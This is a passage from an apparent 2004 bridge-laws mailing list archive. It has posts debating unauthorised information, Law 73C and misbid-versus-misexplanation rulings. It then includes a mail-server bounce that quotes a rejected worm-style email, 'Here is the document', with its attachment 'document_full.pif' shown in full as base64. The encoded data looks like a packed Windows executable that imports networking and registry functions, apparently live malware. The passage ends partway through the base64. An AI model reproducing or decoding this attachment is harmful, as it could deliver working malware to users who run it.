advantage that might accrue to his side." Is bidding 2D in this case a > violation of law 73C? Note that this law does not discuss the > difference between UI and AI - it says only that *in the presence of > UI*, one must "carefully avoid taking any advantage..." Thus, it would > seem to make the fact that the double is AI irrelevant - at least if > bidding 2D is "taking advantage". Of course - but we must first identify the UI. It is not UI that 1N was doubled (the auction itself *can't* be UI). It is, most definitely, UI that partner thinks you have the hand he described. I can envisage scenarios where this might affect one's LAs. The hand given here is not one of those scenarios IMO (although that is a judgment call and YMMV). In order to rule against a 2D call we would have to rule that the double of 1N was UI. Sorry but the law is unplayable if we forbid players knowledge of the auction. Luckily the laws themselves recognise that - unluckily Grattan and Bill don't want to see it and might change the laws next time around. I look forward to the scenario where West request a review and South gives one thus making all previous calls UI to North! Tim From ehaa@starpower.net Tue May 11 13:58:07 2004 From: ehaa@starpower.net (Eric Landau) Date: Tue, 11 May 2004 08:58:07 -0400 Subject: [blml] Cavendish ruling -- final deal In-Reply-To: Message-ID: <5.2.0.9.0.20040511082204.009ea730@pop.starpower.net> At 01:38 AM 5/11/04, richard.hills wrote: >In my opinion, it seems that East has the belief >that the East-West previous agreement (of a style >of transfer responses) has been implicitly and >totally over-ridden by Cavendish rules. > >In my opinion, it seems that West has the belief >that the East-West partnership has an implicit >agreement to revert to their normal transfer >style, as soon as such reversion is permitted by >Cavendish rules. From his explanation, it sounds more like West is aware of the ambiguity, knows that his partnership lacks agreement about 2S, and is hoping East will guess to interpret it correctly. >In my opinion, it is not relevant that West is >aware of the possibility that East's interpretation >of the East-West system may be different to West's >interpretation. West was also presumably aware of >the other possibility that East might interpret >West's alternative call of 3C as a transfer, rather >than as a natural call. It becomes relevant if East is aware of the complementary ambiguity faced by West. That puts both partners on the same wavelength, and eliminates any consideration of a "misbid", leaving us to find either misinformation or no infraction. >So, in my opinion, the scales are evenly balanced >between a "misbid" ruling, and a "misexplanation" >ruling. In such a scale-balanced case, the Law 75 >footnote requires that the TD tie-break by ruling >that a "misexplanation" infraction exists. That assumes that some infraction must have been committed. West told his screenmate that E-W have no agreement about 2S, that based on their other agreements it might be interpreted as either natural or a transfer. If (a) that was true, and (b) East holds the same view, then the only issue is whether West's statement was required disclosure, in which case East has committed an infraction by not similarly informing his screenmate, or a voluntary offering of information which he was not legally required to disclose, in which case nobody has done anything illegal. It seems clear that if you are totally in the dark as to the meaning of partner's call, you need not offer this information to the opponents. But what if you know, based on your partnership's agreements about analogous situations, that it could only be one of a small number of possibilities, some of which are alertable? Should you alert? TFLB doesn't cover this; we must look to the alert procedures in use in the event. But I've yet to see a set of alerting rules that addressed this question directly. IM ACBL-centric HO, this position should require an alert, but currently does not. Has any jurisdiction offered any official pronouncement on this? Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ehaa@starpower.net Tue May 11 14:07:29 2004 From: ehaa@starpower.net (Eric Landau) Date: Tue, 11 May 2004 09:07:29 -0400 Subject: [blml] Cavendish ruling -- final deal In-Reply-To: References: Message-ID: <5.2.0.9.0.20040511085950.009eb880@pop.starpower.net> At 02:39 AM 5/11/04, Ed wrote: >On Tuesday, May 11, 2004, at 01:38 US/Eastern, >richard.hills@immi.gov.au wrote: > >>In such a scale-balanced case, the Law 75 >>footnote requires that the TD tie-break by ruling >>that a "misexplanation" infraction exists. > >Does it? The footnote requires such a ruling "in the absence of >evidence to the contrary" but there *is* such evidence here. It seems >to me the law requires the TD to weigh the evidence and make a >judgment call as to whether it was a misbid or a misexplanation. That >is *not* the same thing as what Richard says above. Ed has fallen into Richard's trap. The footnote instructs us on how to differentiate between two cases, misbid or explanation, but L75 requires a determination from among three possibilities, misbid, misexplanation, or no infraction. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From Mailer-Daemon@host38.ipowerweb.com Tue May 11 14:27:16 2004 From: Mailer-Daemon@host38.ipowerweb.com (Mail Delivery System) Date: Tue, 11 May 2004 06:27:16 -0700 Subject: [blml] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: spike@primitiveorigins.co.uk This message has been rejected because it has a potentially executable attachment "document_full.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from [82.33.169.70] (helo=primitiveorigins.co.uk) by host38.ipowerweb.com with esmtp (Exim 4.24) id 1BNXHq-0007oW-7g for spike@primitiveorigins.co.uk; Tue, 11 May 2004 06:27:12 -0700 From: blml@rtflb.org To: spike@primitiveorigins.co.uk Subject: Re: Here is the document Date: Tue, 11 May 2004 14:27:19 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0004_00000F6E.00004032" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: This is a multi-part message in MIME format. ------=_NextPart_000_0004_00000F6E.00004032 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit See the attached file for details. ------=_NextPart_000_0004_00000F6E.00004032 Content-Type: application/octet-stream; name="document_full.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document_full.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 